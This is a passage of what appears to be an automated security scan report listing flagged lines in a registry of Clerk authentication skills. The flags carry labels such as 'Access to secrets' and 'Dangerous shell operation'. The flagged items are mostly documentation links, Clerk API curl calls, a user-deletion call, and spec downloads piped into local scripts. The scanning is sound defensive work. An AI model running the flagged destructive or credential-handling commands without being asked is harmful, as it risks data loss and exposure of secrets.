    - `clerk` skill for top-level Clerk routing - `clerk-setup` skill for cross-framework quickstart setup - `https://github.com/clerk/clerk-android`
  • Network accessline 180
    - `clerk-setup` skill for cross-framework quickstart setup - `https://github.com/clerk/clerk-android` - `https://clerk.com/docs/android/getting-started/quickstart`
  • Network accessline 181
    - `https://github.com/clerk/clerk-android`
  • Network accessline 182
    - `https://clerk.com/docs/android/getting-started/quickstart`

packages/autoskills/skills-registry/clerk-android/references/custom.md

  • Network accessline 27
    2. Quickstart prerequisite audit - Read the official Android quickstart: `https://clerk.com/docs/android/getting-started/quickstart`.
  • Network accessline 28
    - Read the official Android quickstart: `https://clerk.com/docs/android/getting-started/quickstart`.

packages/autoskills/skills-registry/clerk-android/references/prebuilt.md

  • Network accessline 16
    2. Quickstart prerequisite audit - Read the official Android quickstart: `https://clerk.com/docs/android/getting-started/quickstart`.
  • Network accessline 17
    - Read the official Android quickstart: `https://clerk.com/docs/android/getting-started/quickstart`.

packages/autoskills/skills-registry/clerk-astro-patterns/SKILL.md

  • Network accessline 64
    The middleware populates `Astro.locals.auth()`. Each page and API route checks for itself. `createRouteMatcher` was removed in `@clerk/astro` 4.0 (deprecated in 3.x). Don't add it. Existing uses must move to page and API-route checks before
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 127
    [Astro SDK](https://clerk.com/docs/astro/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-astro-patterns/references/middleware.md

  • Network accessline 38
    `createRouteMatcher` was removed in `@clerk/astro` 4.0 (deprecated in 3.x). Don't add it. Existing uses must move to page and API-route checks before upgrading. Middleware matches on URL paths, which can diverge from how Astro routes reques

packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/astro.config.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-astro-patterns/templates/astro-basic-auth/src/middleware.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-backend-api/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Grep, Skill, WebFetch
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 42
    # Step 1 — Create organization ORG=$(curl -s -X POST "https://api.clerk.com/v1/organizations" \
  • Network accessline 43
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 52
    # Step 3 — Invite member with role curl -s -X POST "https://api.clerk.com/v1/organizations/${ORG_ID}/invitations" \
  • Dangerous shell operationline 53
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Dangerous shell operationline 97
    [Credential-related source omitted]
  • Network accessline 97
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Network accessline 139
    # ONLY run after explicit user confirmation curl -s -X DELETE "https://api.clerk.com/v1/users/${USER_ID}" \
  • Dangerous shell operationline 140
    [Credential-related source omitted]
  • Network accessline 140
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 149
    Base URL: `https://api.clerk.com/v1`
  • Access to secretsline 150
    [Credential-related source omitted]
  • Network accessline 211
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Access to secretsline 212
    [Credential-related source omitted]
  • Network accessline 217
    [Credential-related source omitted]
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 225
    [Credential-related source omitted]
  • Access to secretsline 225
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]
  • Network accessline 253
    - For metadata operations, always explain all three types (public, private, unsafe) and recommend the appropriate one. - Pagination: always use `limit` + `offset` and mention that results may be paginated for large datasets. - Use direct cu
  • Network accessline 255
    - Use direct curl commands for all API calls.
  • Dangerous shell operationline 354
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | node scripts/extract-tags.js
  • Network accessline 354
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | node scripts/extract-tags.js
  • Dangerous shell operationline 368
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-tag-endpoints.sh "${tag_name}"
  • Network accessline 368
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-tag-endpoints.sh "${tag_name}"
  • Dangerous shell operationline 385
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-endpoint-detail.sh "${path}" "${method}"
  • Network accessline 385
    curl -s https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi/${version_name} | bash scripts/extract-endpoint-detail.sh "${path}" "${method}"
  • Network accessline 401
    2. Identify required and optional parameters from the spec (step 3) or FAST PATH. 3. Ask the user for any required path/query/body parameters that weren't provided. 4. Build and execute a **direct curl command** (see How to execute requests
  • Network accessline 402
    3. Ask the user for any required path/query/body parameters that weren't provided. 4. Build and execute a **direct curl command** (see How to execute requests above). 5. Parse the JSON response and display it clearly. Extract and summarize 
  • Network accessline 403
    4. Build and execute a **direct curl command** (see How to execute requests above).
  • Network accessline 408
    [Credential-related source omitted]
  • Access to secretsline 408
    [Credential-related source omitted]
  • Access to secretsline 409
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-backend-api/scripts/api-specs-context.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 8
    API_URL="https://api.github.com/repos/clerk/openapi-specs/contents/bapi"
  • Network accessline 9
    RAW_BASE="https://raw.githubusercontent.com/clerk/openapi-specs/main/bapi"
  • Dangerous shell operationline 12
    versions=$(curl -s "$API_URL" | node -e "
  • Network accessline 12
    versions=$(curl -s "$API_URL" | node -e "
  • Network accessline 28
    echo "" echo "TAGS:" curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js"
  • Dangerous shell operationline 30
    curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js"
  • Network accessline 30
    curl -s "${RAW_BASE}/${latest}" | node "$(dirname "$0")/extract-tags.js"

packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-endpoint-detail.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
    # # Usage: #   curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get"
  • Dangerous shell operationline 8
    #   curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get"
  • Network accessline 8
    #   curl -s <spec-url> | bash extract-endpoint-detail.sh "/users/{user_id}/billing/subscription" "get"
  • Dangerous shell operationline 15
    trap 'rm -rf "$TMPDIR_WORK"' EXIT

packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-tag-endpoints.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
    # # Usage: #   curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing"
  • Dangerous shell operationline 8
    #   curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing"
  • Network accessline 8
    #   curl -s <spec-url> | bash extract-tag-endpoints.sh "Billing"
  • Dangerous shell operationline 14
    trap 'rm -rf "$TMPDIR_WORK"' EXIT

packages/autoskills/skills-registry/clerk-backend-api/scripts/extract-tags.js

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/SKILL.md

  • Network accessline 27
    3. Side panels don't auto-refresh auth state -- users must close and reopen the side panel after signing in via the web app 4. Service workers and content scripts have NO access to Clerk React hooks -- use `createClerkClient()` or message p
  • Network accessline 28
    4. Service workers and content scripts have NO access to Clerk React hooks -- use `createClerkClient()` or message passing 5. Extension URLs use `chrome-extension://` not `http://` -- all redirect URLs must use `chrome.runtime.getURL('.')` 
  • Network accessline 29
    5. Extension URLs use `chrome-extension://` not `http://` -- all redirect URLs must use `chrome.runtime.getURL('.')`
  • Network accessline 61
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 62
    CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 110
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 111
    CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 112
    PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost
  • Network accessline 117
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 118
    CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 119
    PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 154
    curl -X PATCH https://api.clerk.com/v1/instance \
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Network accessline 288
    **Option A -- Plasmo Itero (recommended):** 1. Visit [Plasmo Itero Generate Keypairs](https://itero.plasmo.com/ext/generate-keypairs)
  • Network accessline 289
    1. Visit [Plasmo Itero Generate Keypairs](https://itero.plasmo.com/ext/generate-keypairs)
  • Access to secretsline 307
    [Credential-related source omitted]
  • Network accessline 308
    "permissions": ["cookies", "storage"],     "host_permissions": [       "http://localhost/*",
  • Network accessline 309
    "host_permissions": [       "http://localhost/*",       "$CLERK_FRONTEND_API/*"
  • Network accessline 310
    "http://localhost/*",

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/evals/evals.json

  • Network accessline 64
    "Shows adding syncHost prop to ClerkProvider",         "Shows host_permissions configuration in package.json manifest",         "Shows the curl command to add extension ID to allowed_origins via Clerk API"
  • Network accessline 65
    "Shows host_permissions configuration in package.json manifest",         "Shows the curl command to add extension ID to allowed_origins via Clerk API"       ]
  • Network accessline 66
    "Shows the curl command to add extension ID to allowed_origins via Clerk API"

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/content-scripts.md

  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 75
    const res = await fetch('https://api.yourapp.com/me', {
  • Network accessline 98
    "manifest": {     "permissions": ["storage"],     "host_permissions": ["https://specific-site.com/*"]
  • Network accessline 99
    "permissions": ["storage"],     "host_permissions": ["https://specific-site.com/*"]   }
  • Network accessline 100
    "host_permissions": ["https://specific-site.com/*"]
  • Network accessline 113
    "content_scripts": [       {         "matches": ["https://specific-site.com/*"],
  • Network accessline 114
    {         "matches": ["https://specific-site.com/*"],         "js": ["content.js"]
  • Network accessline 115
    "matches": ["https://specific-site.com/*"],
  • Network accessline 125
    Clerk enforces strict allowed origins for API requests. A content script can be injected into any domain (e.g., `https://github.com`, `https://google.com`). There is no way to add all possible domains to Clerk's allowed origins, so direct C
  • Network accessline 127
    [Docs](https://clerk.com/docs/chrome-extension/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/create-clerk-client.md

  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 70
    const res = await fetch('https://api.example.com/me', {
  • Access to secretsline 86
    [Credential-related source omitted]
  • Network accessline 129
    const res = await fetch('https://api.yourapp.com/data', {
  • Network accessline 139
    [createClerkClient() reference](https://clerk.com/docs/reference/chrome-extension/create-clerk-client)

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/headless-extension.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 59
    await fetch('https://api.yourapp.com/page-visit', {
  • Network accessline 74
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 75
    CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 76
    PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost
  • Network accessline 81
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 82
    CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 83
    PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 109
    curl -X PATCH https://api.clerk.com/v1/instance \

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/references/sync-host.md

  • Network accessline 23
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_... CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 24
    CLERK_FRONTEND_API=https://your-app.clerk.accounts.dev
  • Network accessline 25
    PLASMO_PUBLIC_CLERK_SYNC_HOST=http://localhost
  • Network accessline 30
    PLASMO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_live_... CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 31
    CLERK_FRONTEND_API=https://clerk.your-domain.com
  • Network accessline 32
    PLASMO_PUBLIC_CLERK_SYNC_HOST=https://clerk.your-domain.com
  • Network accessline 35
    The production value of `PLASMO_PUBLIC_CLERK_SYNC_HOST` is the domain your Clerk Frontend API runs on (e.g., `https://clerk.your-domain.com`), not your app's main domain.
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 84
    Plasmo interpolates env vars in `package.json` at build time. In dev this resolves to `http://localhost/*`.
  • Network accessline 91
    curl -X PATCH https://api.clerk.com/v1/instance \
  • Network accessline 143
    [Sync auth status guide](https://clerk.com/docs/guides/sessions/sync-host)

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/templates/chrome-ext-basic-auth/package.json

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 13
    "permissions": ["cookies", "storage"],     "host_permissions": ["http://localhost/*", "$CLERK_FRONTEND_API/*"]   }
  • Network accessline 14
    "host_permissions": ["http://localhost/*", "$CLERK_FRONTEND_API/*"]

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/templates/chrome-ext-basic-auth/src/popup.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 11
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-custom-ui/SKILL.md

  • Network accessline 49
    | Task | Documentation | |------|---------------| | Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview |
  • Network accessline 50
    |------|---------------| | Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview | | Options (structure, logo, buttons) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance
  • Network accessline 51
    | Appearance prop overview | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/overview |
  • Network accessline 52
    | Options (structure, logo, buttons) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/options |
  • Network accessline 53
    | Themes (pre-built dark/light) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/themes |
  • Network accessline 54
    | Variables (colors, fonts, spacing) | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/variables |
  • Network accessline 55
    | CAPTCHA configuration | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/captcha |
  • Network accessline 56
    | Bring your own CSS | https://clerk.com/docs/nextjs/guides/customizing-clerk/appearance-prop/bring-your-own-css |

packages/autoskills/skills-registry/clerk-custom-ui/core-2/custom-sign-in.md

  • Network accessline 223
    - [Custom sign-in flow](https://clerk.com/docs/custom-flows/overview)
  • Network accessline 224
    - [useSignIn() reference](https://clerk.com/docs/reference/hooks/legacy/use-sign-in)

packages/autoskills/skills-registry/clerk-custom-ui/core-2/custom-sign-up.md

  • Network accessline 189
    - [Custom sign-up flow](https://clerk.com/docs/custom-flows/overview)
  • Network accessline 190
    - [useSignUp() reference](https://clerk.com/docs/reference/hooks/legacy/use-sign-up)

packages/autoskills/skills-registry/clerk-custom-ui/core-3/custom-sign-in.md

  • Network accessline 182
    From [the docs](https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication). Supports SMS verification codes, authenticator app (TOTP), and backup codes.
  • Network accessline 211
    if (session?.currentTask) {             // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 212
    // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks             console.log(session?.currentTask)
  • Network accessline 213
    // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 244
    if (session?.currentTask) {             // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 245
    // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks             console.log(session?.currentTask)
  • Network accessline 246
    // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 312
    - [Custom sign-in flow](https://clerk.com/docs/custom-flows/overview)
  • Network accessline 313
    - [MFA custom flow](https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication)
  • Network accessline 314
    - [useSignIn() reference](https://clerk.com/docs/reference/hooks/use-sign-in)

packages/autoskills/skills-registry/clerk-custom-ui/core-3/custom-sign-up.md

  • Network accessline 116
    If `signUp.isTransferable` is `true`, the identifier matches an existing user and the sign-up should be transferred to a sign-in flow. This involves coordinating between sign-up and sign-in resources. See the [transferable sign-up docs](htt
  • Network accessline 151
    From [the docs](https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp). Uses phone OTP with inline comments for adapting to email OTP.
  • Network accessline 185
    if (session?.currentTask) {             // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 186
    // Handle pending session tasks             // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks             console.log(session?.currentTask)
  • Network accessline 187
    // See https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 257
    - [Custom sign-up flow](https://clerk.com/docs/custom-flows/overview)
  • Network accessline 258
    - [Email/phone OTP custom flow](https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp)
  • Network accessline 259
    - [useSignUp() reference](https://clerk.com/docs/reference/hooks/use-sign-up)

packages/autoskills/skills-registry/clerk-custom-ui/core-3/show-component.md

  • Network accessline 125
    - [Show component reference](https://clerk.com/docs/reference/components/control/show)

packages/autoskills/skills-registry/clerk-expo/SKILL.md

  • Network accessline 72
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 73
    2. **Native API dashboard toggle** — Clerk's Native API must be enabled for the instance: Clerk Dashboard → **Native applications** (`https://dashboard.clerk.com/~/native-applications`). Tell the developer to verify this during setup; it is
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 114
    - `clerk-orgs`, `clerk-billing`, `clerk-webhooks` — feature skills (hooks work the same in Expo) - Installed package source: `node_modules/@clerk/expo/` - https://clerk.com/docs/getting-started/quickstart (Expo SDK tab)
  • Network accessline 115
    - Installed package source: `node_modules/@clerk/expo/` - https://clerk.com/docs/getting-started/quickstart (Expo SDK tab) - https://clerk.com/docs/reference/expo/overview
  • Network accessline 116
    - https://clerk.com/docs/getting-started/quickstart (Expo SDK tab)
  • Network accessline 117
    - https://clerk.com/docs/reference/expo/overview
  • Network accessline 118
    - https://github.com/clerk/clerk-expo-quickstart — three official example apps: JS-only (Expo Go), JS + native sign-in buttons, native components

packages/autoskills/skills-registry/clerk-expo/evals/evals.json

  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-expo/references/custom-flows.md

  • Network accessline 5
    [Credential-related source omitted]
  • Network accessline 6
    [Credential-related source omitted]
  • Network accessline 7
    > - Email/SMS OTP: https://clerk.com/docs/guides/development/custom-flows/authentication/email-sms-otp
  • Network accessline 8
    > - Combined sign-in-or-up: https://clerk.com/docs/guides/development/custom-flows/authentication/sign-in-or-up
  • Network accessline 9
    > - MFA: https://clerk.com/docs/guides/development/custom-flows/authentication/multi-factor-authentication
  • Network accessline 10
    [Credential-related source omitted]
  • Network accessline 11
    > - Email links: https://clerk.com/docs/guides/development/custom-flows/authentication/email-links
  • Network accessline 12
    > - Error handling: https://clerk.com/docs/guides/development/custom-flows/error-handling
  • Network accessline 42
    if (session?.currentTask) {     // Route to your session-task UI instead of home.     // https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks
  • Network accessline 43
    // Route to your session-task UI instead of home.     // https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks     return
  • Network accessline 44
    // https://clerk.com/docs/guides/development/custom-flows/authentication/session-tasks

packages/autoskills/skills-registry/clerk-expo/references/prebuilt-components.md

  • Network accessline 5
    > Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > https://clerk.com/docs/reference/expo/native-components/overview — plus `auth-view`, `user-button`, `user-profile-view`, `theming` pages alongside it
  • Network accessline 6
    > https://clerk.com/docs/reference/expo/native-components/overview — plus `auth-view`, `user-button`, `user-profile-view`, `theming` pages alongside it

packages/autoskills/skills-registry/clerk-expo/references/protected-routes.md

  • Network accessline 5
    > Canonical doc: https://clerk.com/docs/expo/guides/users/reading (protect content and read user data)

packages/autoskills/skills-registry/clerk-expo/references/recipes.md

  • Network accessline 5
    > Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > https://clerk.com/docs/reference/expo/overview — plus `local-credentials` and `passkeys` pages under the Expo reference
  • Network accessline 6
    > https://clerk.com/docs/reference/expo/overview — plus `local-credentials` and `passkeys` pages under the Expo reference
  • Network accessline 53
    const { getToken } = useAuth() const res = await fetch(`${API_URL}/endpoint`, {
  • Network accessline 54
    const res = await fetch(`${API_URL}/endpoint`, {
  • Network accessline 89
    - `unsafeMetadata` is client-writable; anything that must be trusted belongs in `publicMetadata`, written server-side via the Backend SDK. - Server send: look up the user with the Backend SDK, read `unsafeMetadata.expoPushToken`, POST to `h
  • Network accessline 90
    - Server send: look up the user with the Backend SDK, read `unsafeMetadata.expoPushToken`, POST to `https://exp.host/--/api/v2/push/send`.
  • Access to secretsline 95
    [Credential-related source omitted]
  • Network accessline 123
    Requires associated-domains setup (iOS) / asset links (Android). Fetch https://clerk.com/docs/reference/expo/passkeys for the current platform configuration before implementing — this surface is still experimental and changes.

packages/autoskills/skills-registry/clerk-expo/references/setup.md

  • Network accessline 5
    > Canonical doc (fetch to re-verify if the installed SDK is newer than 3.6.x): https://clerk.com/docs/getting-started/quickstart (Expo SDK tab)
  • Network accessline 46
    - **Native API enabled**: Clerk Dashboard → **Native applications** (`https://dashboard.clerk.com/~/native-applications`). Required for native apps to talk to Clerk.
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]

packages/autoskills/skills-registry/clerk-expo/references/sso-and-native-auth.md

  • Network accessline 3
    > Canonical docs (fetch to re-verify if the installed SDK is newer than 3.6.x): > - OAuth custom flow: https://clerk.com/docs/guides/development/custom-flows/authentication/oauth-connections
  • Network accessline 4
    > - OAuth custom flow: https://clerk.com/docs/guides/development/custom-flows/authentication/oauth-connections
  • Network accessline 5
    > - `useSSO`: https://clerk.com/docs/reference/expo/native-hooks/use-sso
  • Network accessline 6
    > - Native Google/Apple: https://clerk.com/docs/reference/expo/native-hooks/use-sign-in-with-google and `use-sign-in-with-apple`
  • Network accessline 68
    Full provider-side setup lives at https://clerk.com/docs/guides/configure/auth-strategies/sign-in-with-google — fetch it if the Google Cloud side isn't already configured.
  • Network accessline 99
    iOS only; dev build only. Requires `npx expo install expo-apple-authentication` and the Sign in with Apple capability (the `expo-apple-authentication` plugin handles the entitlement — add it to `app.json` plugins). Full setup: https://clerk

packages/autoskills/skills-registry/clerk-nextjs-patterns/SKILL.md

  • Network accessline 19
    > **Route protection:** call `await auth.protect()` in each page, Route Handler, and Server Function. Keep `clerkMiddleware()` bare. `createRouteMatcher` is deprecated in `@clerk/nextjs` 7 and will be removed in the next major version. Don'
  • Network accessline 146
    const res = await fetch('https://api.example.com/graphql', {
  • Network accessline 167
    const res = await fetch('https://api.example.com/data', {
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]
  • Network accessline 255
    [Next.js SDK](https://clerk.com/docs/reference/nextjs/overview)

packages/autoskills/skills-registry/clerk-nextjs-patterns/references/api-routes.md

  • Network accessline 50
    [Docs](https://clerk.com/docs/reference/nextjs/auth)

packages/autoskills/skills-registry/clerk-nextjs-patterns/references/caching-auth.md

  • Network accessline 56
    [Docs](https://nextjs.org/docs/app/building-your-application/caching)

packages/autoskills/skills-registry/clerk-nextjs-patterns/references/middleware-strategies.md

  • Network accessline 7
    `createRouteMatcher` is deprecated in `@clerk/nextjs` 7 and will be removed in the next major version. Don't add it. If a project already uses it, leave it working and point the user to the [migration guide](https://clerk.com/docs/guides/de
  • Network accessline 100
    Prefer permissions over roles — permissions are more granular and easier to reassign across roles in the Dashboard. See the [authorization checks guide](https://clerk.com/docs/guides/secure/authorization-checks).
  • Access to secretsline 118
    [Credential-related source omitted]
  • Network accessline 124
    Call `getAuth(req)` in `getServerSideProps` and in each `pages/api` handler, and return `401` when `isAuthenticated` is false. See the [`getAuth()` reference](https://clerk.com/docs/reference/nextjs/pages-router/get-auth).
  • Network accessline 128
    Signed-out users can be redirected to sign-in from `proxy.ts` before the page renders. That is a latency optimization only; the page still calls `auth.protect()`. See [What about early redirects for signed-out users?](https://clerk.com/docs
  • Network accessline 155
    `<SignIn />` renders the pending task by default, so `/sign-in` is enough. To host tasks on your own pages, set `taskUrls` on `<ClerkProvider>` and redirect there instead. The redirect is a navigation convenience, not a security boundary: a
  • Network accessline 159
    [Docs](https://clerk.com/docs/reference/nextjs/clerk-middleware)

packages/autoskills/skills-registry/clerk-nextjs-patterns/references/server-actions.md

  • Network accessline 56
    [Docs](https://clerk.com/docs/reference/nextjs/server-actions)

packages/autoskills/skills-registry/clerk-nextjs-patterns/references/server-vs-client.md

  • Network accessline 104
    [Docs](https://clerk.com/docs/reference/nextjs/auth)

packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/app/layout.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/app/page.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-nextjs-patterns/templates/nextjs-basic-auth/proxy.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-nuxt-patterns/SKILL.md

  • Network accessline 116
    [Nuxt SDK](https://clerk.com/docs/nuxt/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-nuxt-patterns/references/composables.md

  • Network accessline 95
    [Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-nuxt-patterns/references/nuxt-middleware.md

  • Network accessline 69
    [Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-nuxt-patterns/references/server-api-routes.md

  • Network accessline 70
    [Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-nuxt-patterns/references/ssr-auth.md

  • Network accessline 84
    [Docs](https://clerk.com/docs/nuxt/getting-started/quickstart)

packages/autoskills/skills-registry/clerk-nuxt-patterns/templates/nuxt-basic-auth/nuxt.config.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-nuxt-patterns/templates/nuxt-basic-auth/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/clerk-orgs/SKILL.md

  • Network accessline 19
    > **STOP — prerequisite.** Organizations must be enabled before any org-related API, hook, or component works. Two paths: (1) [Dashboard → Organizations settings](https://dashboard.clerk.com/last-active?path=organizations-settings), or (2) 
  • Network accessline 60
    1. **Enable Organizations** — via [Dashboard → Organizations settings](https://dashboard.clerk.com/last-active?path=organizations-settings) or `clerk enable orgs` (see Agent-first section). Pick `Membership required` (B2B-only) or `Membersh
  • Network accessline 86
    | Action | URL | |---|---| | Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` |
  • Network accessline 87
    |---|---| | Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` | | Manage roles + permissions | `https://dashboard.clerk.com/last-active?path=organizations-settings/roles` |
  • Network accessline 88
    | Enable Organizations + Membership mode | `https://dashboard.clerk.com/last-active?path=organizations-settings` |
  • Network accessline 89
    | Manage roles + permissions | `https://dashboard.clerk.com/last-active?path=organizations-settings/roles` |
  • Network accessline 90
    | Create/edit an organization | `https://dashboard.clerk.com/last-active?path=organizations` |
  • Network accessline 91
    | Webhooks for org events | `https://dashboard.clerk.com/last-active?path=webhooks` |
  • Network accessline 153
